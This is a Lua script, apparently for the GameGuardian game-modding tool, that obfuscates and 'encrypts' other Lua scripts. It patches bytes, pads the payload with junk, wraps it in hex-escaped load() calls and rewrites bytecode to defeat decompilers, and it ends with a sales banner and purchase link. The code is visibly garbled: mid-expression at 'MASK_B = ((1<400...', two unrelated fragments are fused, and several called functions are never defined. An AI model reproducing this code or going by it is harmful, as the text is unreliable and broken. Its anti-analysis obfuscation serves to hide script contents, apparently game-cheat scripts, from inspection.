ty=ty:gsub(string.char(0xF2,0x34,0x53,0x9C,0x9B,0x81,0x84,0x7F),string.char(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF)) ty=ty:gsub(string.char(0x01,0x00,0x00,0x00,0x1f,0x00,0x80,0x00),string.char(0x01,0x00,0x00,0x00,0xDF,0xFF,0x00,0x00)) ty=ty:gsub(string.char(0x80,0x06,0x00,0x41,0x00,0x1D,0x40,0x80,0x00),string.char(0x80,0x17,0x00,0x41,0x00,0x1D,0x40,0x80,0x00)) ty = ty:gsub("\x00\x00\x00\x00\x00\x00\x00\x00\xFA\xFA\xFA(....)\x17...",function(y) return "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFA\xFA\xFA"..y.."\x63\xBD"..string.char(math.random(250,255),math.random(95,127)) end):gsub("\x00\x00\x00\x00\x00\x00\x00\x00\xFA\xFA\xFA(....)\x17...",function(y) return "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFA\xFA\xFA"..y.."\x63\xBD"..string.char(math.random(250,255),math.random(95,127)) end) ty = string.gsub(ty, string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFA, 0xFA, 0xFA), string.char(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0xFA, 0xFA)) ty = string.gsub(ty, string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF), string.char(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF)) ty = string.gsub(ty, string.char(0x01, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x80, 0x00), string.char(0x00, 0x00, 0x00, 0x00), 1) ty = string.gsub(ty, string.char(0x04, 0x07, 0x00, 0x00, 0x00, 0x6C, 0x52, 0x6C, 0x52, 0x6C, 0x52, 0x00), string.char(0x04, 0x00, 0x00, 0x00, 0x00), 1) ty = string.gsub(ty, string.char(0x04, 0x07, 0x00, 0x00, 0x00, 0x52, 0x6C, 0x52, 0x6C, 0x52, 0x6C), string.char(0x04, 0xE9, 0x03, 0x00, 0x00) .. string.rep(string.char(6), 1000)) ty = string.gsub(ty, string.char(0x04, 0x07, 0x00, 0x00, 0x00, 0x52, 0x6C, 0x52, 0x6C, 0x52, 0x52), string.char(0x04, 0x11, 0x27, 0x00, 0x00) .. string.rep(string.char(6), 10000)) function strenc(str) local t = {string.byte(str, 1, -1)} for i = 1, #t do t[i] = string.format('\\x%02x', t[i]) end return '"' .. table.concat(t) .. '"' end ty = strenc ( ty ) --转16进制 ty=[[ C = _G C['MX'] = 985600579 ]]..Waik..[[ gg_getFile=gg.getFile C = _G C['MX'] = 985600579 C["l".."o".."a".."d"](]]..ty..[[)()]] admin112="刷取校验外load壳\n\n\n" -- 生成一个10位的随机数字key作为示例 file:write(admin112) --ty=string.dump(load(ty),true) ty=string.dump(load(ty),true) Jjian() -------------------------------------- --lasm()---最终加密 local file=file --xxx="1.lua" zhuan_OP = function(ym) -- `A' : 8 bits -- `B' : 9 bits -- `C' : 9 bits -- `Bx' : 18 bits (`B' and `C' together) -- `sBx' : signed Bx iABC = 0; iABx = 1; iAsBx = 2; iAx = 3; OpArgN = 0; --/* argument is not used */ OpArgU = 1; -- /* argument is used */ OpArgR = 2; --/* argument is a register or a jump offset */ OpArgK = 3; SIZE_B = 9 SIZE_C = 9 SIZE_A = 8 POS_OP = 0 SIZE_OP = 6 POS_A = (POS_OP + SIZE_OP) POS_C = (POS_A + SIZE_A) POS_B = (POS_C + SIZE_C) MASK_B = ((1<400000000000000000000 then print("bcon",file:seek()) assert() Proto.constants[i].len = string.char(1,0,0,0) Proto.constants[i].content = string.char(97) file:seek("cur",len) else Proto.constants[i].content = file:read(len) end end Proto.line = file:read(4) Proto.last_line = file:read(4) Proto.args = file:read(1) Proto.isvararg = file:read(1) Proto.max_stacksize = file:read(1) Proto.opcode_len = file:read(4) --指令个数 start_line = start_line + 1 local line if(start_line>255) then start_line = 0 end line = string.char(start_line,0,0,0) ioWriter:write(line) ioWriter:write(line) --ioWriter:write(Proto.line) --ioWriter:write(Proto.last_line) ioWriter:write(Proto.args) ioWriter:write(Proto.isvararg) ioWriter:write(Proto.max_stacksize) ioWriter:write(Proto.opcode_len) opcode_len = tonumber(Dehexstr(Proto.opcode_len),16)*4 --指令长度 Proto.all_opcode = file:read(opcode_len) Proto.all_opcode=dop(Proto.all_opcode) ioWriter:write(Proto.all_opcode) Proto.constant_nums = file:read(4) ioWriter:write(Proto.constant_nums) --常量个数 constant_nums = tonumber(Dehexstr(Proto.constant_nums),16) print("const n:",hexstr(Proto.constant_nums)) print("addr",file:seek()) print(hexstr(Proto.line)) print(hexstr(Proto.last_line)) print(constant_nums) Proto.constants = {} for i = 1,constant_nums do print(i) --取出常量 Proto.constants[i] = {} Proto.constants[i].type = file:read(1) if(Proto.constants[i].type == string.char(0)) then Proto.constants[i].content = "" elseif(Proto.constants[i].type == string.char(1)) then Proto.constants[i].len = "" Proto.constants[i].content = file:read(1) elseif(Proto.constants[i].type == string.char(3)) then vnum = vnum or 0 vnum = vnum + 1 Proto.constants[i].len = "" Proto.constants[i].content = file:read(8) elseif(Proto.constants[i].type == string.char(4)) then readString(i) elseif(Proto.constants[i].type == string.char(13)) then assert() elseif(Proto.constants[i].type == string.char(14)) then assert() readString(i) elseif(Proto.constants[i].type == string.char(08)) then print(file:seek()) local len = string.byte(file:read(1)) --file:seek("cur",len) Proto.constants[i].type = string.char(4) -- Proto.constants[i].len = string.char(1,0,0,0) Proto.constants[i].len = Denumstr(len) Proto.constants[i].content = file:read(len) else print("ctype",Dehexstr(Proto.constants[i].type)) print(file:seek(),i,Proto.constants[i].len) assert() end ioWriter:write(Proto.constants[i].type) ioWriter:write(Proto.constants[i].len or "") ioWriter:write(Proto.constants[i].content or "") end print(len) Proto.Sub_Proto_Num = file:read(4) --assert() ioWriter:write(Proto.Sub_Proto_Num) local subfuncNum = Dehexstr(Proto.Sub_Proto_Num) print(subfuncNum) Sub_Proto_Num = tonumber(subfuncNum,16) print(Sub_Proto_Num) Proto.SubProtos = {} for i = 1, Sub_Proto_Num do Proto.SubProtos[i] = {} readProto(Proto.SubProtos[i]) end Proto.upvalue_len = file:read(4) ioWriter:write(Proto.upvalue_len) local upvalue_len = Dehexstr(Proto.upvalue_len) --print(upvalue_len) upvalue_len = tonumber(upvalue_len,16) --print(upvalue_len) Proto.upvalues = {} for i = 1,upvalue_len do Proto.upvalues[i] = file:read(2) ioWriter:write(Proto.upvalues[i]) end Proto.End = file:read(16) ioWriter:write(Proto.End) end -- -- ym=io.open(ym,"r"):read("*a") io.open(last,"w"):write(ym) AAAAAAAAA=menu into=AAAAAAAAA:gsub(".lua","") gg.alert("OP混淆完成\n保存与"..into.."-[BPESP7.0企业版(OP)].lua.luac\n加密耗时"..(os.clock() - time)..'秒') file = io.open(last,"r") lua_header = file:read(18) --ioWriter=string.dump(load(ioWriter),true) ioWriter = io.open(last.."-[BPESP7.0企业版(OP)].lua.luac","w") ioWriter:write(lua_header) main_proto = { } readProto(main_proto) os.remove(last) return io.open(last.."-[BPESP7.0企业版(OP)].lua.luac","r"):read("*a") end AAAAAAAAA=menu AAAAAAAAA=AAAAAAAAA:gsub(".lua","") last = AAAAAAAAA.."加密成功" local result = zhuan_OP(xxx) QQQQQQQ="-[BPESP7.0企业版(OP)].lua.luac" -- goto UI if file then file:write("加密成功\n欢迎下次使用BPESP7.0企业加密🤓🤓🤓","\n\n本次加密耗时时间"..(os.clock() - time).."秒\n","['加密名称'] BPESP7.0加密-企业版\n['介绍']:BPESP7.0加密 安全 高效 保障\n['官方群聊']:910132692\n['加密强度']:★★★★\n['加密版本']:7.0\n['加密时间']:24世纪初期\n['技术提供']:MC.陌尘-RL-零霙-Yx.逸辰-citmau\n['修改器提供']:大B\n['支持使用该加密修改器']:普通GG-RLGG-ELGG\n['支持修改器']:各美化版GG-RLGG-ELGG-AGG-LGG\n['购买& 链接']:'https://efk.23ik.cn/shop/BPESP7.0'","\n\n文件保存于"..QQQQQQQ.."加密主体1") file:close() else print("无法创建文件") end